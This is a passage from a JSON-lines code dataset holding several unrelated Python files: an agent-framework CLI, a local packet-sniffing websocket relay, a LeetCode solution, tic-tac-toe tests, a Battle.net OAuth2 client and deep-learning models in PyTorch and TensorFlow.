ctx.agent_config.agent_name\n\n is_registry = ctx.config.get(\"is_registry\")\n if is_registry:\n public_id = str(connection_name)\n connection_name = split_public_id(connection_name)[1]\n\n logger.info(\"Adding connection '{}' to the agent '{}'...\".format(connection_name, agent_name))\n\n # check if we already have a connection with the same name\n logger.debug(\"Connections already supported by the agent: {}\".format(ctx.agent_config.connections))\n if connection_name in ctx.agent_config.connections:\n logger.error(\"A connection with name '{}' already exists. Aborting...\".format(connection_name))\n sys.exit(1)\n\n # find and add connection\n if is_registry:\n # fetch from Registry\n fetch_package('connection', public_id=public_id, cwd=ctx.cwd)\n else:\n _find_connection_locally(ctx, connection_name)\n\n # make the 'connections' folder a Python package.\n connections_init_module = os.path.join(ctx.cwd, \"connections\", \"__init__.py\")\n logger.debug(\"Creating {}\".format(connections_init_module))\n Path(connections_init_module).touch(exist_ok=True)\n\n # add the connections to the configurations.\n logger.debug(\"Registering the connection into {}\".format(DEFAULT_AEA_CONFIG_FILE))\n ctx.agent_config.connections.add(connection_name)\n ctx.agent_loader.dump(ctx.agent_config, open(os.path.join(ctx.cwd, DEFAULT_AEA_CONFIG_FILE), \"w\"))\n\n\ndef _find_protocol_locally(ctx, protocol_name):\n # check that the provided path points to a proper protocol directory -> look for protocol.yaml file.\n # first check in aea dir\n registry_path = ctx.agent_config.registry_path\n protocol_configuration_filepath = Path(os.path.join(registry_path, \"protocols\", protocol_name, DEFAULT_PROTOCOL_CONFIG_FILE))\n if not protocol_configuration_filepath.exists():\n # then check in registry\n registry_path = AEA_DIR\n protocol_configuration_filepath = Path(os.path.join(registry_path, \"protocols\", protocol_name, DEFAULT_PROTOCOL_CONFIG_FILE))\n if not protocol_configuration_filepath.exists():\n logger.error(\"Cannot find protocol: '{}'.\".format(protocol_name))\n sys.exit(1)\n\n # try to load the protocol configuration file\n try:\n protocol_configuration = ctx.protocol_loader.load(open(str(protocol_configuration_filepath)))\n logger.debug(\"Protocol available: {}\".format(protocol_configuration.name))\n except ValidationError as e:\n logger.error(\"Protocol configuration file not valid: {}\".format(str(e)))\n sys.exit(1)\n\n # copy the protocol package into the agent's supported connections.\n src = str(Path(os.path.join(registry_path, \"protocols\", protocol_name)).absolute())\n dest = os.path.join(ctx.cwd, \"protocols\", protocol_name)\n logger.debug(\"Copying protocol modules. src={} dst={}\".format(src, dest))\n try:\n shutil.copytree(src, dest)\n except Exception as e:\n logger.error(str(e))\n sys.exit(1)\n\n\n@add.command()\n@click.argument(\n 'protocol_name', type=str, required=True\n)\n@pass_context\ndef protocol(click_context, protocol_name):\n \"\"\"Add a protocol to the agent.\"\"\"\n ctx = cast(Context, click_context.obj)\n agent_name = cast(str, ctx.agent_config.agent_name)\n\n is_registry = ctx.config.get(\"is_registry\")\n if is_registry:\n public_id = str(protocol_name)\n protocol_name = split_public_id(protocol_name)[1]\n\n logger.info(\"Adding protocol '{}' to the agent '{}'...\".format(protocol_name, agent_name))\n\n # check if we already have a protocol with the same name\n logger.debug(\"Protocols already supported by the agent: {}\".format(ctx.agent_config.protocols))\n if protocol_name in ctx.agent_config.protocols:\n logger.error(\"A protocol with name '{}' already exists. Aborting...\".format(protocol_name))\n sys.exit(1)\n\n # find and add protocol\n if is_registry:\n # fetch from Registry\n fetch_package('protocol', public_id=public_id, cwd=ctx.cwd)\n else:\n _find_protocol_locally(ctx, protocol_name)\n\n # make the 'protocols' folder a Python package.\n logger.debug(\"Creating {}\".format(os.path.join(agent_name, \"protocols\", \"__init__.py\")))\n Path(os.path.join(ctx.cwd, \"protocols\", \"__init__.py\")).touch(exist_ok=True)\n\n # add the protocol to the configurations.\n logger.debug(\"Registering the protocol into {}\".format(DEFAULT_AEA_CONFIG_FILE))\n ctx.agent_config.protocols.add(protocol_name)\n ctx.agent_loader.dump(ctx.agent_config, open(os.path.join(ctx.cwd, DEFAULT_AEA_CONFIG_FILE), \"w\"))\n\n\ndef _find_skill_locally(ctx, skill_name, click_context):\n # check that the provided path points to a proper skill directory -> look for skill.yaml file.\n # first check in aea dir\n registry_path = ctx.agent_config.registry_path\n skill_configuration_filepath = Path(os.path.join(registry_path, \"skills\", skill_name, DEFAULT_SKILL_CONFIG_FILE))\n if not skill_configuration_filepath.exists():\n # then check in registry\n registry_path = AEA_DIR\n skill_configuration_filepath = Path(os.path.join(registry_path, \"skills\", skill_name, DEFAULT_SKILL_CONFIG_FILE))\n if not skill_configuration_filepath.exists():\n logger.error(\"Cannot find skill: '{}'.\".format(skill_name))\n sys.exit(1)\n\n # try to load the skill configuration file\n try:\n skill_configuration = ctx.skill_loader.load(open(str(skill_configuration_filepath)))\n except ValidationError as e:\n logger.error(\"Skill configuration file not valid: {}\".format(str(e)))\n sys.exit(1)\n\n # copy the skill package into the agent's supported skills.\n src = str(Path(os.path.join(registry_path, \"skills\", skill_name)).absolute())\n dest = os.path.join(ctx.cwd, \"skills\", skill_name)\n logger.debug(\"Copying skill modules. src={} dst={}\".format(src, dest))\n try:\n shutil.copytree(src, dest)\n except Exception as e:\n logger.error(str(e))\n sys.exit(1)\n\n # check for not supported protocol, and add it.\n for protocol_name in skill_configuration.protocols:\n if protocol_name not in ctx.agent_config.protocols:\n logger.debug(\"Adding protocol '{}' to the agent...\".format(protocol_name))\n click_context.invoke(protocol, protocol_name=protocol_name)\n\n\n@add.command()\n@click.argument('skill_name', type=str, required=True)\n@pass_context\ndef skill(click_context, skill_name):\n \"\"\"Add a skill to the agent.\"\"\"\n ctx = cast(Context, click_context.obj)\n agent_name = ctx.agent_config.agent_name\n\n is_registry = ctx.config.get(\"is_registry\")\n if is_registry:\n public_id = str(skill_name)\n skill_name = split_public_id(skill_name)[1]\n\n logger.info(\"Adding skill '{}' to the agent '{}'...\".format(skill_name, agent_name))\n\n # check if we already have a skill with the same name\n logger.debug(\"Skills already supported by the agent: {}\".format(ctx.agent_config.skills))\n if skill_name in ctx.agent_config.skills:\n logger.error(\"A skill with name '{}' already exists. Aborting...\".format(skill_name))\n sys.exit(1)\n\n # find and add protocol\n if is_registry:\n # fetch from Registry\n fetch_package('skill', public_id=public_id, cwd=ctx.cwd)\n else:\n _find_skill_locally(ctx, skill_name, click_context)\n\n # make the 'skills' folder a Python package.\n skills_init_module = os.path.join(ctx.cwd, \"skills\", \"__init__.py\")\n logger.debug(\"Creating {}\".format(skills_init_module))\n Path(skills_init_module).touch(exist_ok=True)\n\n # add the skill to the configurations.\n logger.debug(\"Registering the skill into {}\".format(DEFAULT_AEA_CONFIG_FILE))\n ctx.agent_config.skills.add(skill_name)\n ctx.agent_loader.dump(ctx.agent_config, open(os.path.join(ctx.cwd, DEFAULT_AEA_CONFIG_FILE), \"w\"))\n","sub_path":"aea/cli/add.py","file_name":"add.py","file_ext":"py","file_size_in_byte":11424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"626519811","text":"import sys\nimport threading\nimport time\nimport logging\nimport argparse\nfrom Queue import Queue\n\nimport server\nimport packets\n\ndef go(fn, *args, **kwargs):\n \"\"\" Run a function in a separate thread. Returns handle to thread. \"\"\"\n def target():\n return fn(*args, **kwargs)\n t = threading.Thread(target=target)\n t.daemon = True\n t.start()\n return t\n\ndef run():\n \"\"\"\n Packets flow like so:\n\n do_sniffing() -> [packet_queue] -> process_packets() --> [message_queue] -> forward_messages()\n \"\"\"\n\n # Queues for message pipeline\n packet_queue = Queue()\n message_queue = Queue()\n\n # List of active websocket clients\n ws_client_list = []\n\n # Websocket and HTTP Servers\n webserver_thread = go(server.web_server, 8080)\n websocket_server_thread = go(server.ws_message_server, ws_client_list, 9000)\n\n # [SNIFF] Sniffs TCP packets from network and places them on 'packet_queue'\n port_range = (5000, 65000)\n sniffer_thread = go(packets.do_sniffing, port_range, \"lo\", packet_queue)\n\n # [PARSE] Pulls packets from 'packet_queue', parses them, and places them on 'message_queue'\n packet_processor_thread = go(packets.process_packets, packet_queue, message_queue)\n\n # [SEND] Pulls messages from 'message_queue' and sends them to websocket clients\n messager_thread = go(packets.forward_messages, message_queue, ws_client_list)\n\n # Run idle thread forever\n while True:\n time.sleep(3.0)\n\nif __name__==\"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--debug', action='store_true')\n args = parser.parse_args()\n\n if args.debug:\n logstream = sys.stdout\n loglevel = logging.DEBUG\n else:\n logstream = open(\"server.log\", \"w\")\n loglevel = logging.INFO\n\n try:\n logformat = '%(levelname)s:%(asctime)s %(message)s'\n logging.basicConfig(format=logformat, stream=logstream, level=loglevel)\n run()\n except (KeyboardInterrupt, SystemExit) as err:\n sys.exit()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"346797806","text":"class Solution:\n def minMoves(self, target: int, maxDoubles: int) -> int:\n res = 0\n while target > 1 and maxDoubles > 0:\n if target % 2 == 0 and maxDoubles > 0:\n maxDoubles -= 1\n target >>= 1\n else:\n target -= 1\n res += 1\n res += (target - 1)\n return res\n\n\ns = Solution()\nprint(s.minMoves(10, 4))\n","sub_path":"leetcode/2022/contest/weekly-276/Contest2.py","file_name":"Contest2.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"385990964","text":"import sys\nimport math\nsys.path.append('../')\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom base import framework\nimport encoder.rnn\n\nSE = 'sentence_encoder'\n\nclass Config(framework.ModuleConfig):\n def __init__(self):\n super(Config, self).__init__()\n\n self.subcfgs[SE] = encoder.rnn.Config()\n\n self.dim_kernel = 5\n self.num_kernel = 50\n self.noise = .5\n self.dim_ft = 2048\n self.num_sentence = 5\n\n\nclass Discriminator(nn.Module):\n def __init__(self, config):\n super(Discriminator, self).__init__()\n\n self._config = config\n sent_enc_cfg = self._config.subcfgs[SE]\n\n self.sent_encoder = encoder.rnn.Encoder(sent_enc_cfg)\n\n dim_all_kernels = self._config.dim_kernel * self._config.num_kernel\n self.img_embed = nn.Linear(self._config.dim_ft, dim_all_kernels, bias=False)\n self.sent_img_embed = nn.Linear(sent_enc_cfg.dim_hidden, dim_all_kernels, bias=False)\n self.sent_sent_embed = nn.Linear(sent_enc_cfg.dim_hidden, dim_all_kernels, bias=False)\n\n self.ff_img = nn.Linear(self._config.num_kernel, 2)\n self.ff_sent = nn.Linear(self._config.num_kernel, 2)\n\n self.op2monitor = {}\n\n def forward(self, mode, fts, sents, lens, **kwargs):\n \"\"\"\n fts: (b, dim_ft)\n sents: (b*num_sentence, t)\n lens: (b*num_sentence)\n \"\"\"\n if mode == 'trn':\n logits, logits_img, logits_sent, dist2img, dist2sent = self.predict(fts, sents, lens)\n y = kwargs['y']\n loss = F.cross_entropy(logits, y)\n loss_img = F.cross_entropy(logits_img, y)\n loss_sent = F.cross_entropy(logits_sent, y)\n return loss, loss_img, loss_sent, dist2img, dist2sent\n elif mode == 'eval':\n logits, logits_img, logits_sent, dist2img, dist2sent = self.predict(fts, sents, lens)\n log_p = F.log_softmax(logits)\n log_p_img = F.log_softmax(logits_img)\n log_p_sent = F.log_softmax(logits_sent)\n return log_p[:, 1], log_p_img[:, 1], log_p_sent[:, 1]\n else:\n logits, logits_img, logits_sent, dist2img, dist2sent = self.predict(fts, sents, lens)\n predicts = F.softmax(logits, dim=-1)\n predicts_img = F.softmax(logits_img, dim=-1)\n predicts_sent = F.softmax(logits_sent, dim=-1)\n return predicts, predicts_img, predicts_sent\n\n def predict(self, fts, sents, lens):\n b = fts.size(0)\n num_sentence = self._config.num_sentence\n dim_kernel = self._config.dim_kernel\n num_kernel = self._config.num_kernel\n\n img_embed = self.img_embed(fts)\n img_embed = F.dropout(img_embed, p=self._config.noise).unsqueeze(1) # (b, 1, num_kernel*dim_kernel)\n\n hidden = self.sent_encoder(sents, lens)\n\n # (b, num_sentence, num_kernel*dim_kernel)\n sent2img_embed = self.sent_img_embed(hidden)\n sent2img_embed = F.dropout(sent2img_embed, p=self._config.noise).view(b, num_sentence, -1)\n sent2sent_embed = self.sent_sent_embed(hidden)\n sent2sent_embed = F.dropout(sent2sent_embed, p=self._config.noise).view(b, num_sentence, -1)\n\n # print sent2img_embed.size(), img_embed.size()\n dist2img = (img_embed * sent2img_embed).view(b, num_sentence, num_kernel, dim_kernel)\n dist2img = torch.sum(dist2img, -1) / (dim_kernel**.5)\n dist2img = F.tanh(dist2img) # (b, num_sentence, num_kernel)\n\n sent2sent = (sent2sent_embed.unsqueeze(2) * sent2sent_embed.unsqueeze(1)).view(b, num_sentence, num_sentence, num_kernel, dim_kernel)\n sent2sent = torch.sum(sent2sent, -1) / (dim_kernel**.5)\n sent2sent = F.tanh(sent2sent) # (b, num_sentence, num_sentence, num_kernel)\n dist2sent = []\n for i in range(num_sentence):\n dist = (torch.sum(sent2sent[:, i], 1) - sent2sent[:, i, i]) / (num_sentence-1) # (b, num_kernel)\n dist2sent.append(dist)\n dist2sent = torch.stack(dist2sent, 1) # (b, num_sentence, num_kernel)\n\n out_img = self.ff_img(dist2img).view(b*num_sentence, 2)\n out_sent = self.ff_sent(dist2sent).view(b*num_sentence, 2)\n out = (out_img + out_sent).view(b*num_sentence, 2)\n\n return out, out_img, out_sent, dist2img, dist2sent\n","sub_path":"d/full.py","file_name":"full.py","file_ext":"py","file_size_in_byte":3996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"437963525","text":"import board\nfrom board import X ,O, STALEMATE\n\"\"\"\nIf this was going to be a long lived project with maintnence demands, It would need more testing\n\nIt would need error condition tests for __*etitem__ functions in board\nTests for the functions in ai, especially the more complex sub functions\nMore coverage in general\n\nAs it is, everything except error conditions got covered while\nmanully testing the program as a whole.\n\"\"\"\n\ndef test_rows_cols_diags():\n b = board.Board()\n l = list(b.rows_cols_diags())\n assert l == [(1, 2, 3), (4, 5, 6), (7, 8, 9),\n (1, 4, 7), (2, 5, 8), (3, 6, 9),\n (1, 5, 9), (7, 5, 3)], str(l)\n\ndef test_win():\n b = board.Board()\n assert b.check_win() is None\n\n b._spaces = [[X,2,3],\n [X,5,6],\n [X,8,9]]\n assert b.check_win() is X\n\n b._spaces = [[O,O,O],\n [4,5,6],\n [7,8,9]]\n assert b.check_win() is O\n\n b._spaces = [[O,2,X],\n [4,O,6],\n [X,8,O]]\n assert b.check_win() is O\n\n b._spaces = [[O,X,O],\n [X,X,O],\n [O,O,X]]\n assert b.check_win() is STALEMATE\n\ndef test_str():\n b = board.Board()\n b._spaces = [[O,X,O],\n [X,5,O],\n [O,O,X]]\n assert str(b) == '\\n 0 1 2\\n0 O | X | O\\n -----------\\n1 X | 5 | O\\n-----------\\n2 O | O | X\\n'\n\ndef test_move():\n b = board.Board()\n b[1] = X\n assert b._spaces == [[X,2,3],\n [4,5,6],\n [7,8,9]], str(b._spaces)\n\n\n\n\n\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"568745636","text":"import sys\nimport os\nsys.path.append(os.path.join(sys.path[0],'interfaces'))\nfrom fog05.interfaces.States import State\nfrom fog05.interfaces.Entity import Entity\nfrom jinja2 import Environment\nimport json\n\nclass XENLibvirtEntity(Entity):\n\n def __init__(self, uuid, name, image_id, flavor_id): # , cpu, ram, disk_size, networks, image, user_file, ssh_key):\n\n super(XENLibvirtEntity, self).__init__()\n self.uuid = uuid\n self.name = name\n self.image_id = image_id\n self.flavor_id = flavor_id\n\n self.user_file = None\n self.ssh_key = None\n self.networks = []\n\n def set_user_file(self, user_file):\n self.user_file = user_file\n\n def set_ssh_key(self, ssh_key):\n self.ssh_key = ssh_key\n\n def set_networks(self, networks):\n self.networks = networks\n\n def on_defined(self):\n self.state = State.DEFINED\n\n","sub_path":"plugins/XENLibvirt/XENLibvirtEntity.py","file_name":"XENLibvirtEntity.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"345474556","text":"try:\n from django.conf import settings\nexcept ImportError:\n pass\nfrom requests_oauthlib import OAuth2Session\nfrom django_wow import constants\nfrom . import error_messages\nfrom . import account_urls\nimport functools\n\n\ndef check_access_token(f):\n @functools.wraps(f)\n def wrapper(self, *args):\n token = args[0]\n if token:\n self._set_access_token(token)\n return f(self, *args)\n else:\n raise ValueError('Access token is not set')\n return wrapper\n\n\nclass BattleNetOAuth2(object):\n\n def __init__(self, version=None, key=None, secret=None, region=None, redirect_uri=None, access_token=None):\n self.current_namespace = None\n if version:\n try:\n self.namespace_dict = constants.NAMESPACES[version]\n except KeyError:\n raise ValueError(error_messages.NAMESPACES)\n else:\n self.namespace_dict = constants.NAMESPACES['retail']\n if key:\n self.BNET_KEY = key\n else:\n try:\n self.BNET_KEY = settings.BNET_KEY\n except (ImportError, AttributeError):\n raise ValueError(error_messages.BNET_KEY)\n\n if secret:\n self.BNET_SECRET = secret\n else:\n try:\n self.BNET_SECRET = settings.BNET_SECRET\n except (AttributeError, ImportError):\n raise ValueError(error_messages.BNET_SECRET)\n if region:\n region = region.upper()\n else:\n region = 'EU'\n if region in constants.AVAILABLE_REGIONS:\n self.region = region\n else:\n raise ValueError(error_messages.AVAILABLE_REGION)\n if redirect_uri:\n self.BNET_REDIRECT_URI = redirect_uri\n else:\n try:\n self.BNET_REDIRECT_URI = settings.BNET_REDIRECT_URI\n except (AttributeError, ImportError):\n raise ValueError(error_messages.BNET_REDIRECT_URI)\n self.scope = 'wow.profile'\n self.access_token = None\n self.oauth = None\n if access_token:\n self._set_access_token(access_token)\n\n def _set_access_token(self, token, token_type='bearer'):\n self.access_token = token\n if not self.oauth:\n self.oauth = OAuth2Session(\n self.BNET_KEY, redirect_uri=self, token={'access_token': token, 'token_type': token_type}\n )\n else:\n self.oauth.token = token\n\n def _make_request(self, endpoint, base_url=None):\n if not self.access_token:\n raise ValueError('No access token available.')\n if not self.oauth:\n self.oauth = OAuth2Session(\n self.BNET_KEY, redirect_uri=self.BNET_REDIRECT_URI)\n if not base_url:\n base_url = constants.BASE_ENDPOINT_URL\n url = base_url % self.region + endpoint[1:]\n r = self.oauth.get(url)\n self.current_namespace = None\n if r.status_code == 200:\n return r.status_code, r.json()\n else:\n return r.status_code, []\n\n def get_authorization_url(self):\n if not self.BNET_REDIRECT_URI:\n raise ValueError(error_messages.BNET_REDIRECT_URI)\n if not self.BNET_KEY:\n raise ValueError(error_messages.BNET_KEY)\n self.oauth = OAuth2Session(self.BNET_KEY, redirect_uri=self.BNET_REDIRECT_URI, scope=self.scope)\n auth_url, state = self.oauth.authorization_url(constants.BNET_AUTH_URL % (self.region))\n return auth_url, state\n\n def retrieve_access_token(self, access_code):\n if not access_code:\n raise ValueError(error_messages.ACCESS_CODE)\n if not self.BNET_SECRET:\n raise ValueError(error_messages.BNET_SECRET)\n\n if not self.BNET_REDIRECT_URI:\n raise ValueError(error_messages.BNET_REDIRECT_URI)\n self.oauth = OAuth2Session(\n self.BNET_KEY, redirect_uri=self.BNET_REDIRECT_URI, scope='wow.profile')\n token_data = self.oauth.fetch_token(\n constants.BNET_TOKEN_URL % self.region,\n code=access_code,\n client_secret=self.BNET_SECRET)\n self.access_token = token_data['access_token']\n return token_data\n\n @check_access_token\n def get_user_info(self, access_token=None):\n return self._make_request(account_urls.user_info_url)\n\n @check_access_token\n def check_token(self, access_token=None):\n return self._make_request(account_urls.check_token_url)\n","sub_path":"django_wow/oauth2/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"642640406","text":"import tensorflow as tf\nimport sys\nimport numpy as np\nimport math\nimport matplotlib.pyplot as plt\nfrom data import PacketData\nimport pickle\nimport random\nfrom operator import itemgetter\n\nconfig = tf.ConfigProto()\nconfig.gpu_options.allow_growth = True\nclass CNN:\n for d in ['/gpu:1']:\n with tf.device(d):\n def __init__(self, name=\"cnn\"):\n self.net_name = name\n self.epoch_list = []\n self.train_error_value_list = []\n self.validation_error_value_list = []\n self.test_error_value_list = []\n self.test_accuracy_list = []\n self.classified_test_precision_list = dict()\n self.classified_test_recall_list = dict()\n self.classnames = []\n self.best_accuracy = 0\n self.max_test_accuracy = 0\n self.best_epoch = 0\n\n\n def setData(self, n_input, n_classes, n_train_data, n_validation_data, n_test_data, data, class_names):\n self.n_input = n_input\n self.n_classes = n_classes\n self.n_train_data = n_train_data\n self.n_validation_data = n_validation_data\n self.n_test_data = n_test_data\n self.data = data\n self.trainData = data.train\n self.validationData = data.validation\n self.testData = data.test\n self.classnames = class_names\n for i in range(n_classes):\n self.classified_test_precision_list[i] = list()\n self.classified_test_recall_list[i] = list()\n def resNN(self, input_layer, scope_num, in_channels, out_channels):\n with tf.variable_scope(str(scope_num)):\n W_conv2 = tf.Variable(tf.truncated_normal([1, 1, in_channels, out_channels], stddev=0.1))\n b_conv2 = tf.Variable(tf.constant(0.1, shape=[out_channels]))\n bn_conv2 = tf.nn.relu(input_layer)\n h_conv2 = tf.nn.conv2d(bn_conv2, W_conv2, strides=[1, 1, 1, 1], padding='SAME') + b_conv2\n print(h_conv2.get_shape())\n\n W_conv3 = tf.Variable(tf.truncated_normal([3, 3, out_channels, out_channels], stddev=0.1))\n b_conv3 = tf.Variable(tf.constant(0.1, shape=[out_channels]))\n bn_conv3 = tf.nn.relu(h_conv2)\n h_conv3 = tf.nn.conv2d(bn_conv3, W_conv3, strides=[1, 1, 1, 1], padding='SAME') + b_conv3 \n print(h_conv3.get_shape())\n\n W_conv4 = tf.Variable(tf.truncated_normal([1, 1, out_channels, out_channels*4], stddev=0.1))\n b_conv4 = tf.Variable(tf.constant(0.1, shape=[out_channels*4]))\n h_conv4 = tf.nn.conv2d(bn_conv3, W_conv4, strides=[1, 1, 1, 1], padding='SAME') + b_conv4\n bn_conv4 = tf.nn.relu(h_conv4)\n print(bn_conv4.get_shape())\n\n if not input_layer.get_shape()[3] == out_channels*4:\n pad_val = int((out_channels*4 - in_channels)/2)\n input_layer = tf.nn.avg_pool(input_layer, [1,1,1,1], [1,1,1,1], 'VALID')\n input_layer = tf.pad(input_layer, [[0, 0], [0, 0], [0, 0], [pad_val, pad_val]], mode='CONSTANT', name=None)\n bn_conv4 = input_layer + bn_conv4\n else:\n bn_conv4 = input_layer + bn_conv4\n return bn_conv4\n \n #Create model\n def makeModel(self):\n with tf.variable_scope(self.net_name):\n #tf Graph input\n self.x = tf.placeholder(\"float\", [None, self.n_input])\n self.y = tf.placeholder(\"float\", [None, self.n_classes])\n\n self.image_x_size = math.sqrt(self.n_input)\n self.image_y_size = math.sqrt(self.n_input)\n\n if (self.image_x_size != self.image_y_size):\n sys.exit(1)\n self.x_image = tf.reshape(self.x, [-1, int(self.image_x_size), int(self.image_y_size), 1])\n print(self.x_image.get_shape())\n\n self.keep_prob = tf.placeholder(tf.float32)\n\n self.W_conv1 = tf.Variable(tf.truncated_normal([3, 3, 1, 64], stddev=0.1))\n self.b_conv1 = tf.Variable(tf.constant(0.1, shape=[64]))\n self.h_conv1 = tf.nn.relu(tf.nn.conv2d(self.x_image, self.W_conv1, strides=[1, 2, 2, 1], padding='SAME', name='conv_'+str(0)) + self.b_conv1)\n self.h_pool1 = tf.nn.max_pool(self.h_conv1, ksize=[1, 3, 3, 1], strides=[1, 2, 2, 1], padding='SAME')\n\n resNN_stage = 0\n for resNN_num in range(1):\n if resNN_num == 0:\n self.hl = self.resNN(self.h_pool1, resNN_stage+resNN_num, 64, 64)\n else:\n self.hl = self.resNN(self.hl, resNN_stage+resNN_num, 256, 64)\n resNN_stage += 2\n for resNN_num in range(2):\n if resNN_num == 0:\n self.hl = self.resNN(self.hl, resNN_stage+resNN_num, 256, 128)\n else:\n self.hl = self.resNN(self.hl, resNN_stage+resNN_num, 512, 128)\n #resNN_stage += 8\n #for resNN_num in range(3):\n # if resNN_num == 0:\n # self.hl = self.resNN(self.hl, resNN_stage+resNN_num, 512, 256)\n # else:\n # self.hl = self.resNN(self.hl, resNN_stage+resNN_num, 1024, 256)\n #resNN_stage += 3\n #for resNN_num in range(3):\n # if resNN_num == 0:\n # self.hl = self.resNN(self.hl, resNN_stage+resNN_num, 1024, 512)\n # else:\n # self.hl = self.resNN(self.hl, resNN_stage+resNN_num, 2048, 512)\n # print(self.hl.get_shape())\n self.h_pool2 = tf.nn.max_pool(self.hl, ksize=[1, 1, 1, 1], strides=[1, 1, 1, 1], padding='SAME')\n\n last_size_x = int(self.h_pool2.get_shape()[1])\n last_size_y = int(self.h_pool2.get_shape()[2])\n last_size_channels = int(self.h_pool2.get_shape()[3])\n\n self.h_pool2_flat = tf.reshape(self.h_pool2, [-1, last_size_x * last_size_y * last_size_channels])\n self.W_fc1 = tf.Variable(tf.truncated_normal([last_size_x * last_size_y * last_size_channels, 1000], stddev=0.1))\n self.b_fc1 = tf.Variable(tf.constant(0.1, shape=[1000]))\n self.h_fc1 = tf.nn.relu(tf.matmul(self.h_pool2_flat, self.W_fc1) + self.b_fc1)\n\n self.W_fc2 = tf.Variable(tf.truncated_normal([1000, self.n_classes], stddev=0.1))\n self.b_fc2 = tf.Variable(tf.constant(0.1, shape=[self.n_classes]))\n self.pred = tf.matmul(self.h_fc1, self.W_fc2) + self.b_fc2\n self.prediction_y = tf.argmax(self.pred, 1)\n def makeErrorAndOptimizer(self, learning_rate=0.0001):\n self.learning_rate = learning_rate\n self.error = tf.nn.softmax_cross_entropy_with_logits(logits=self.pred, labels=self.y)\n self.mean_error = tf.reduce_mean(self.error)\n self.optimizer = tf.train.AdamOptimizer(self.learning_rate).minimize(self.mean_error)\n #self.optimizer = tf.train.AdagradOptimizer(self.learning_rate).minimize(self.mean_error)\n self.prediction_ground_truth = tf.equal(self.prediction_y, tf.argmax(self.y, 1))\n self.accuracy = tf.reduce_mean(tf.cast(self.prediction_ground_truth, tf.float32))\n \n \n def learning(self, batch_size, training_epochs):\n self.batch_size = batch_size\n self.training_epochs = training_epochs\n self.init = tf.global_variables_initializer()\n\n with tf.Session(config=config) as sess:\n sess.run(self.init)\n self.total_batch = int(math.ceil(self.n_train_data/float(self.batch_size)))\n print(\"Total batch: %d\" % self.total_batch)\n self.validation_batch = int(math.ceil(self.n_validation_data/float(self.batch_size)))\n self.test_batch = int(math.ceil(self.n_test_data/float(self.batch_size)))\n\n for epoch in range(self.training_epochs):\n mean_errors = list()\n for i in range(self.total_batch):\n batch_packets, batch_labels = self.data.next_train_batch(self.batch_size)\n _, error_values = sess.run((self.optimizer, self.error),\n feed_dict={self.x: batch_packets, self.y: batch_labels, self.keep_prob: 0.5})\n mean_errors.append(np.mean(error_values))\n \n mean_v_errors = list()\n for i in range(self.validation_batch):\n batch_packets, batch_labels = self.data.next_validation_batch(self.batch_size)\n v_error_value = sess.run(self.mean_error,\n feed_dict={self.x: batch_packets, self.y: batch_labels, self.keep_prob: 0.5})\n mean_v_errors.append(v_error_value)\n \n self.epoch_list.append(epoch)\n self.train_error_value_list.append(np.mean(mean_errors))\n self.validation_error_value_list.append(np.mean(mean_v_errors))\n \n self.printLossAccuracyForTestData(epoch, sess)\n \n\n #Low validation error checking\n if epoch > 2:\n if self.test_accuracy_list[-1] >= self.max_test_accuracy:\n self.best_accuracy = self.test_accuracy_list[-1]\n self.max_test_accuracy = self.test_accuracy_list[-1]\n self.best_epoch = epoch\n self.saveModel(session = sess, path = '/home/link/hdd4/network_deep_learning_data/save_model_huge_2d/' + str(2**int(sys.argv[3]))+'bit_'+sys.argv[2]+'_'+sys.argv[4]+'_'+sys.argv[5]+'_'+sys.argv[6]+'.ckpt')\n\n self.drawErrorValues()\n self.pickleDump(self.epoch_list, self.train_error_value_list, self.validation_error_value_list, self.test_error_value_list, self.test_accuracy_list, self.classified_test_precision_list, self.classified_test_recall_list, self.best_accuracy, self.best_epoch)\n print(\"Best Accuracy : %f\" % (self.best_accuracy))\n print(\"Training % Test finished!\")\n \n \n def printLossAccuracyForTestData(self, epoch, sess):\n accuracy_value_list = []\n error_value_list = []\n \n classified_precision_list = dict()\n classified_recall_list = dict()\n for i in range(self.n_classes):\n classified_precision_list[i] = list()\n classified_recall_list[i] = list()\n \n for i in range(self.test_batch):\n batch_packets, batch_labels = self.data.next_test_batch(self.batch_size)\n accuracy_value, error_value, prediction_y = sess.run((self.accuracy, self.mean_error, self.prediction_y), feed_dict={self.x: batch_packets, self.y: batch_labels, self.keep_prob: 0.5})\n accuracy_value_list.append(accuracy_value)\n error_value_list.append(error_value)\n \n classified_precision = dict()\n classified_recall = dict()\n for i in range(self.n_classes):\n classified_precision[i] = list()\n classified_recall[i] = list()\n \n for label_index in range(len(batch_labels)):\n classified_recall[np.argmax(batch_labels[label_index])].append(np.equal(prediction_y[label_index], np.argmax(batch_labels[label_index])))\n if np.equal(prediction_y[label_index], np.argmax(batch_labels[label_index])):\n classified_precision[np.argmax(batch_labels[label_index])].append(True)\n else:\n classified_precision[np.argmax(batch_labels[label_index])].append(False)\n classified_precision[prediction_y[label_index]].append(False)\n \n for i in range(self.n_classes):\n classified_precision[i] = round(float(np.mean(classified_precision[i], dtype=np.float32)), 3)\n if not np.isnan(classified_precision[i]):\n classified_precision_list[i].append(classified_precision[i])\n classified_recall[i] = round(float(np.mean(classified_recall[i], dtype=np.float32)), 3)\n if not np.isnan(classified_recall[i]):\n classified_recall_list[i].append(classified_recall[i])\n \n \n self.test_error_value_list.append(np.mean(error_value_list))\n self.test_accuracy_list.append(np.mean(accuracy_value_list))\n #self.max_test_accuracy = 